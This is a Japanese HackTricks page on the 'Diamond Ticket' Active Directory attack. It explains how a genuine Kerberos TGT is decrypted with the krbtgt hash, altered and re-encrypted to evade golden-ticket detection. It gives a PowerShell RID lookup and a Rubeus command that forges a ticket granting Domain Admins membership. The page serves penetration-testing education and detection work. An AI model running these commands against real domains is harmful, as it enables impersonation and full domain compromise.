hacktricks/windows-hardening/active-directory-methodology/diamond-ticket.md
2023-07-07 23:42:27 +00:00

5.7 KiB
Raw Blame History

ダイヤモンドチケット

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

ダイヤモンドチケット

金のチケットのように、ダイヤモンドチケットは任意のユーザーとして任意のサービスにアクセスするためのTGTです。金のチケットは完全にオフラインで作成され、そのドメインのkrbtgtハッシュで暗号化され、ログオンセッションに渡されて使用されます。ドメインコントローラは、正当に発行されたTGTを追跡しないため、自身のkrbtgtハッシュで暗号化されたTGTを喜んで受け入れます。

金のチケットの使用を検出するための2つの一般的な技術があります

  • 対応するAS-REQがないTGS-REQを探す。
  • Mimikatzのデフォルトの10年間の有効期限など、ばかげた値を持つTGTを探す。

ダイヤモンドチケットは、DCによって発行された正規のTGTのフィールドを変更することで作成されます。これは、TGTを要求し、ドメインのkrbtgtハッシュで復号化し、チケットの必要なフィールドを変更し、それを再度暗号化することで実現されます。これにより、ダイヤモンドチケットは以下の金のチケットの欠点を克服します

  • TGS-REQには前のAS-REQが存在します。
  • TGTはDCによって発行されたものであり、ドメインのKerberosポリシーのすべての正しい詳細を持っています。金のチケットではこれらを正確に偽造することができますが、より複雑でミスの余地があります。
# Get user RID
powershell Get-DomainUser -Identity <username> -Properties objectsid

.\Rubeus.exe diamond /tgtdeleg /ticketuser:<username> /ticketuserid:<RID of username> /groups:512

# /tgtdeleg uses the Kerberos GSS-API to obtain a useable TGT for the user without needing to know their password, NTLM/AES hash, or elevation on the host.
# /ticketuser is the username of the principal to impersonate.
# /ticketuserid is the domain RID of that principal.
# /groups are the desired group RIDs (512 being Domain Admins).
# /krbkey is the krbtgt AES256 hash.

\

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥